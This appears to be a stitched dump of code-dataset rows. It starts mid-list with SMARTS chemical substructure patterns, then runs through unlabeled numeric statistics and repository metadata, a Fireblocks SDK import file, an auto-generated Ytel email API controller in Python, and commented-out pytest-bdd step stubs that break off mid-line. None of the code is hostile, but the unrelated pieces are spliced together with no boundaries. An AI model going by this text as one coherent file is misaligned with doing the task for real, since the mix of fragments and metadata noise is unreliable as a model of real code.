CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])]))]", "[#7&!$([#7]=[#7])&!$([#7][#7H2])&!$([#7][#7H1][#6])&!$([#7][#7]([#1,#6])[#1,#6])&!$([#7][#7]=[#6])][CX3](=S)[#7&!$([#7]=[#7])&!$([#7][#7H2])&!$([#7][#7H1][#6])&!$([#7][#7]([#1,#6])[#1,#6])&!$([#7][#7]=[#6])]", "[NX3H2]c", "[$([NX2]=[NX2+]=[NX1-]),$(N=[NX2+]=N),$([NX2-]-[NX2+]#[NX1])]", "[NX3]([#1,#6,#7])([#1,#6])[CX3](=[SX1])[NX3]([#1,#6,#7])([#1,#6])", "[#6,#7][NX2]=[OX1]", "[$([nR1]1[nR1][cR1][cR1][cR1]1),$([nR1]1[cR1][nR1][cR1][cR1]1)]", "[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]-[C;!R]", "[CH2,CH3]N([CH2,CH3])c1cc([H,CH2,CH3,$(O(c)[CH2][CH2,CH3])])c(-[#7])[cH]c1", "[$([NR1]1[NR1][CR1][CR1][CR1][CR1]1),$([NR1]1[CR1][NR1][CR1][CR1][CR1]1),$([NR1]1[CR1][CR1][NR1][CR1][CR1]1)]", "[a][$([NH2]),$([NX3H1][#6]),$([NX3]([#6])[#6]),$([NX3]([#6,#1])[OX2H1]),$([NX3]([#6,#1])[OX2][CX3]=[OX1]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH])]", "N[CX3](=[SX1])N", "a[NX3]([$([CH3]),$([CH2][CH3])])[$([CH3]),$([CH2][CH3])]", "[CH&!R;!$(C-N)]=C([$(S(=O)(=O)),$(C(F)(F)(F)),$(C#N),$(N(=O)(=O)),$([N+](=O)[O-]),$(C(=O))])([$(S(=O)(=O)),$(C(F)(F)(F)),$(C#N),$(N(=O)(=O)),$([N+](=O)[O-]),$(C(=O))])", "[CX4][NX3]([CX4])c1c[cH]c([#7])[cH]c1", "c1([CX3!R]=[CX3!R])ccccc1", "[CX4][Sv6X4](=[OX1])(=[OX1])[OX2]", "[CX4&!$([CX4]([SX2])([#7,O,S,F,Cl,Br,I,P]))][SX2]c", "[CX3]([!R])([!R])=[CX3][CX3](=[OX1])[!$([OH1])!$([OX2][CH2])!$([NH2])!$([CX2]#[NX1])!a]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [$([#6][NX2]=[NX2+]=N),$([#6][NX2]=[NX2+]=[NX1-]),$([#6][NX2-]-[NX2+]#[NX1]),$([#6][NX3]([#6])[NX2]=[NX2][#6]),$([CX3]=[NX2+]=N),$([CX3]=[NX2]=[NX1]),$([CX3]=[NX2+]=[NX1-]),$([CX3-][NX2+]#[NX1])]", "[$([#6][OX2,SX2][CX3](=[SX1])[NX3&!$([NX3]([CX3]=[OX1,SX1])[CX3]=[OX1,SX1])]),$([#6][SX2][CX3](=[OX1])[NX3&!$([NX3]([CX3]=[OX1,SX1])[CX3]=[OX1,SX1])])]", "[N]#[C]~[AR0]~[AR0]~[AR0]~[AR0]~[AR0]~[AR0]~[AR0]~[AR0]", "[NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])][NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])]", "[#6,#1][CX3]([H])=[OX1]", "[#9,#17,#35,#53,#85,#117]", "c([OH1])[aR1]c[NX3]([#1,#6])[#1,#6]", "[#1,#6][CX3](=[OX1])[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX1])])[#1,#6&!$([CX3]=[OX1,SX1,NX1])]", "c1ccc(c(c1)[OH,SH])[OX2][CX4]", "[NR0v3]-[OR0]", "[!#6!#1]1CCCC1", "[NX3]([OH1])[CX4]", "C(=O)O[$(aa[Nv4,S!v2]),$(aaa[Nv4,S!v2]),$(aaaa[Nv4,S!v2])]", "c1c(ccc(c1)N([CX4])[H,CX4])O[CX4]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [CX4]1[OX2,NX3][CX4]1", "[OX1]=[Pv5X4]([H,!#6!$([SX2])])([H,!#6!$([SX2])])[H,!#6!$([SX2])]", "[#15&0]", "[OH]c1ccccc1[CX3](=[OX1])[OH]", "[#7][CX3](=[SX1])[#7]", "[OH]c1ccc(C=NN)cc1", "c1ccc[sX2]1", "[CH2,$([CH](=O)[CX4]),$([CH](=O)c1a(*)caaa1),$([CH](=O)c1a(*)aaa1)]=O", "[#1,#6][NX3]([#1,#6])[NX3]([#1,#6])[#1,#6]", "[CX4]C(=O)C", "[NX1]~[NX2]~[NX2]", "[$([a]N(~O)~O),$([a]N([#1])[*]),$([a]N([#1])[!#1])]", "a[$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]", "[#6&!$([CX3]=[OX1,SX1])][$([NX2]=[NX2+]=[NX1-]),$(N=[NX2+]=N),$([NX2-]-[NX2+]#[NX1]),$([NX2]=[NX2]#[NX1])]", "[Pv5X4](=[OX1])([#6])([#6])[#6]", "[NX2]=[OX1]", "[CX3]=[NX2][NX3][#6]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#1,#6][CX3]([H])(=[OX1])", "[$([NX3][CX4][NX3]),$([CX3](=[OX1])[NX3][CH2][OH1]),$([CX4]([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),F,Cl,Br,I,$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CX3](=[OX1])[#1,F,Cl,Br,I])])[CH2][OH1])]", "[NR1]1[CR1]=[CR1][CR1][CR1]1", "c1c(ccc(c1)[CX4][$([#8!H0]),$([#6]=[#6!H0]),$([#7][CX4])])[#7]([CX4])[CX4]", "[#6R][CX3R](=[OX1])[NX3R]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#6R&!$([CX3R]=[OX1,SX1,NX2])]", "[$([NX2]([a])=[NX2][a]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])]", "[#1,#6][CX3](=[OX1])[OX2H1]", "[NX3,SX2][CH2,$([CH]([NX3,SX2])([CX4])[CX4])][CH2,$([CH]([CX4])([Cl,Br,I])[CX4])][Cl,Br,I]", "C(=O)[O;D1].C(=O)[O;D1].C(=O)[O;D1]", "[$(c(=[SX1])[$(n[#1,#6]),o,s]),$(c(=[SX1])a[$(n[#1,#6]),o,s]),$(c(=[SX1])aa[$(n[#1,#6]),o,s]),$(c(=[SX1])aaa[$(n[#1,#6]),o,s])]", "[CX3](=[SX1])[SX2]", "[CX3]([#1,#6])([#1,#6])=[CX3]([OX2][#6&!$([CX3]([OX2])=[OX1,SX1,NX2,C])])[#1,#6]", "[OX2,SX2][CX3](=[OX1,SX1])[NX3]", "[$([Sv6X4;!$([Sv6X4][OH]);!$([Sv6X4][SH]);!$([Sv6X4][O-]);!$([Sv6X4][S-])](=[OX1])(=[OX1])[$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)]),$([Pv5X4;!$([Pv5X4][OH]);!$([Pv5X4][SH]);!$([Pv5X4][O-]);!$([Pv5X4][S-])](=[OX1])([$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)])[$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)])]", "[!#6!#1]1~[!#6!#1]~[!#6!#1]~[!#6!#1]~[#6]~1", "CC(=[!#1!#6;!R])C(=[!#1!#6;!R])C", "aI", "[N;X3;!$(N-S(=O)(=O));!$(N-C(F)(F)(F));!$(N-C#N);!$(N-C(=O));!$(N-C(=S));!$(N-C(=N))]-[N;X3;!$(N-S(=O)(=O));!$(N-C(F)(F)(F));!$(N-C#N);!$(N-C(=O));!$(N-C(=S));!$(N-C(=N))]", "[N;!$(N(=[N,O,S,C]));!$(N(S(=O)(=O)));!$(N(C(F)(F)(F)));!$(N(C#N));!$(N(C(=O)));!$(N(C(=S)));!$(N(C(=N)));!$(N(#C));!$(N-c)].[N;!$(N(=[N,O,S,C]));!$(N(S(=O)(=O)));!$(N(C(F)(F)(F)));!$(N(C#N));!$(N(C(=O)));!$(N(C(=S)));!$(N(C(=N)));!$(N(#C));!$(N-c)].[N;!$(N(=[N,O,S,C]));!$(N(S(=O)(=O)));!$(N(C(F)(F)(F)));!$(N(C#N));!$(N(C(=O)));!$(N(C(=S)));!$(N(C(=N)));!$(N(#C));!$(N-c)].[N;!$(N(=[N,O,S,C]));!$(N(S(=O)(=O)));!$(N(C(F)(F)(F)));!$(N(C#N));!$(N(C(=O)));!$(N(C(=S)));!$(N(C(=N)));!$(N(#C));!$(N-c)]", "[OR1]1[CR1]=[CR1][CR1]-,=[CR1]-,=[CR1]1", "[Cl,Br,I].[Cl,Br,I].[Cl,Br,I].[Cl,Br,I][!#6!#1]1-[#6]-[#6]-1", "[a][$([NX3H2]),$([NX3H1][CX4,a])]", "[CX3]=[CX3][CX3]=[CX3]", "[nR1]1[nR1][cR1][cR1][cR1][cR1]1", "[#1,#6][CX3]([#1,#6])=[NX2][OX2][#6&!$([CX3]=[OX1,SX1,NX2])]", ]
119.256691
12,725
0.407716
18,835
98,029
2.121954
0.019485
0.085721
0.063803
0.070258
0.826832
0.785173
0.746266
0.709786
0.677709
0.659869
0
0.144434
0.042783
98,029
821
12,726
119.401949
0.281494
0.000122
0
0.069512
0
0.457317
0.933051
0.904219
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
c8c9aa3a886f2b86a1793474b3dfc5acdff98bf3
146
py
Python
fireblocks_sdk/__init__.py
vokracko/fireblocks-sdk-py
4e126ea54c39da2f1a67d12b6cf30e9e3c5bc799
[ "MIT" ]
29
2019-09-03T20:12:30.000Z
2022-01-24T15:28:40.000Z
fireblocks_sdk/__init__.py
vokracko/fireblocks-sdk-py
4e126ea54c39da2f1a67d12b6cf30e9e3c5bc799
[ "MIT" ]
22
2021-04-15T13:38:02.000Z
2022-03-14T18:20:58.000Z
fireblocks_sdk/__init__.py
vokracko/fireblocks-sdk-py
4e126ea54c39da2f1a67d12b6cf30e9e3c5bc799
[ "MIT" ]
19
2019-09-19T16:29:07.000Z
2022-03-11T16:48:58.000Z
from fireblocks_sdk.sdk import FireblocksSDK from fireblocks_sdk.sdk_token_provider import SdkTokenProvider from fireblocks_sdk.api_types import *
48.666667
62
0.89726
20
146
6.25
0.5
0.336
0.408
0.32
0
0
0
0
0
0
0
0
0.075342
146
3
63
48.666667
0.925926
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
c8d17bb126d200e6675a18033f6aad179be89e8e
18,802
py
Python
ytelapi/controllers/email_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
ytelapi/controllers/email_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
ytelapi/controllers/email_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ ytelapi This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ from .base_controller import BaseController from ..api_helper import APIHelper from ..configuration import Configuration from ..http.auth.basic_auth import BasicAuth class EmailController(BaseController): """A Controller to access Endpoints in the ytelapi API.""" def create_blocked_emails(self, offset=None, limit=None): """Does a POST request to /email/listblockemail.json. Retrieve a list of emails that have been blocked. Args: offset (string, optional): The starting point of the list of blocked emails that should be returned. limit (string, optional): The count of results that should be returned. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/listblockemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Offset': offset, 'Limit': limit } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_remove_invalid_email(self, email): """Does a POST request to /email/deleteinvalidemail.json. Remove an email from the invalid email list. Args: email (string): A valid email address that is to be remove from the invalid email list. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/deleteinvalidemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_invalid_emails(self, offset=None, limit=None): """Does a POST request to /email/listinvalidemail.json. Retrieve a list of invalid email addresses. Args: offset (string, optional): The starting point of the list of invalid emails that should be returned. limit (string, optional): The count of results that should be returned. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/listinvalidemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Offset': offset, 'Limit': limit } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_remove_bounced_email(self, email): """Does a POST request to /email/deletebouncesemail.json. Remove an email address from the bounced list. Args: email (string): The email address to be remove from the bounced email list. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/deletebouncesemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_bounced_emails(self, offset=None, limit=None): """Does a POST request to /email/listbounceemail.json. Retrieve a list of emails that have bounced. Args: offset (string, optional): The starting point of the list of bounced emails that should be returned. limit (string, optional): The count of results that should be returned. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/listbounceemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Offset': offset, 'Limit': limit } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_spam_emails(self, offset=None, limit=None): """Does a POST request to /email/listspamemail.json. Retrieve a list of emails that are on the spam list. Args: offset (string, optional): The starting point of the list of spam emails that should be returned. limit (string, optional): The count of results that should be returned. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/listspamemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Offset': offset, 'Limit': limit } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_send_email(self, to, mtype, subject, message, mfrom=None, cc=None, bcc=None, attachment=None): """Does a POST request to /email/sendemails.json. Create and submit an email message to one or more email addresses. Args: to (string): A valid address that will receive the email. Multiple addresses can be separated by using commas. mtype (TypeEnum): Specifies the type of email to be sent subject (string): The subject of the mail. Must be a valid string. message (string): The email message that is to be sent in the text. mfrom (string, optional): A valid address that will send the email. cc (string, optional): Carbon copy. A valid address that will receive the email. Multiple addresses can be separated by using commas. bcc (string, optional): Blind carbon copy. A valid address that will receive the email. Multiple addresses can be separated by using commas. attachment (string, optional): A file that is attached to the email. Must be less than 7 MB in size. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/sendemails.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'To': to, 'Type': mtype, 'Subject': subject, 'Message': message, 'From': mfrom, 'Cc': cc, 'Bcc': bcc, 'Attachment': attachment } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_remove_blocked_address(self, email): """Does a POST request to /email/deleteblocksemail.json. Remove an email from blocked emails list. Args: email (string): The email address to be remove from the blocked list. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/deleteblocksemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def add_email_unsubscribe(self, email): """Does a POST request to /email/addunsubscribesemail.json. Add an email to the unsubscribe list Args: email (string): A valid email address that is to be added to the unsubscribe list Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/addunsubscribesemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_remove_unsubscribed_email(self, email): """Does a POST request to /email/deleteunsubscribedemail.json. Remove an email address from the list of unsubscribed emails. Args: email (string): A valid email address that is to be remove from the unsubscribe list. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/deleteunsubscribedemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_list_unsubscribed_emails(self, offset=None, limit=None): """Does a POST request to /email/listunsubscribedemail.json. Retrieve a list of email addresses from the unsubscribe list. Args: offset (string, optional): The starting point of the list of unsubscribed emails that should be returned. limit (string, optional): The count of results that should be returned. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/listunsubscribedemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Offset': offset, 'Limit': limit } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body def create_remove_spam_address(self, email): """Does a POST request to /email/deletespamemail.json. Remove an email from the spam email list. Args: email (string): A valid email address that is to be remove from the spam list. Returns: string: Response from the API. Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _query_builder = Configuration.base_uri _query_builder += '/email/deletespamemail.json' _query_url = APIHelper.clean_url(_query_builder) # Prepare form parameters _form_parameters = { 'Email': email } # Prepare and execute request _request = self.http_client.post(_query_url, parameters=_form_parameters) BasicAuth.apply(_request) _context = self.execute_request(_request) self.validate_response(_context) # Return appropriate type return _context.response.raw_body
34.372943
84
0.577811
1,949
18,802
5.397127
0.082093
0.027379
0.034224
0.05704
0.858161
0.845803
0.84124
0.830022
0.820705
0.802738
0
0.000336
0.367195
18,802
546
85
34.435897
0.883762
0.446282
0
0.691892
1
0
0.055981
0.041148
0
0
0
0
0
1
0.064865
false
0
0.021622
0
0.156757
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
cdce11d353605cc02f2ddba3e361e82595045cf7
2,203
py
Python
tests/step_defs/rss_news_feeds.py
RBStephenson/ai_news_writer
230f56870c3823c6655cb47786c3a1f5bbe08475
[ "MIT" ]
9
2019-11-09T05:17:07.000Z
2021-08-31T05:47:28.000Z
tests/step_defs/rss_news_feeds.py
RBStephenson/ai_news_writer
230f56870c3823c6655cb47786c3a1f5bbe08475
[ "MIT" ]
null
null
null
tests/step_defs/rss_news_feeds.py
RBStephenson/ai_news_writer
230f56870c3823c6655cb47786c3a1f5bbe08475
[ "MIT" ]
2
2020-06-04T09:47:49.000Z
2020-07-14T05:42:43.000Z
# from pytest_bdd import given, when, then # # # @given("I am a content creator") # def step_impl(): # raise NotImplementedError(u'STEP: Given I am a content creator') # # # @given("I have an RSS news feed") # def step_impl(): # raise NotImplementedError(u'STEP: And I have an RSS news feed') # # # @when("I execute the save command") # def step_impl(): # raise NotImplementedError(u'STEP: When I execute the save command') # # # @then("I should not get an error") # def step_impl(): # raise NotImplementedError(u'STEP: Then I should not get an error') # # # @given("I should see the RSS news feed added to the RSS News Feed List") # def step_impl(): # raise NotImplementedError(u'STEP: And I should see the RSS news feed added to the RSS News Feed List') # # # @given("I want to remove an RSS news feed") # def step_impl(): # raise NotImplementedError(u'STEP: And I want to remove an RSS news feed') # # # @when("I select an RSS news feed") # def step_impl(): # raise NotImplementedError(u'STEP: When I select an RSS news feed') # # # @given("execute the delete command") # def step_impl(): # raise NotImplementedError(u'STEP: And execute the delete command') # # # @given("the RSS news feed should be removed from the RSS News Feed List") # def step_impl(): # raise NotImplementedError(u'STEP: And the RSS news feed should be removed from the RSS News Feed List') # # # @given("I want to change information for an 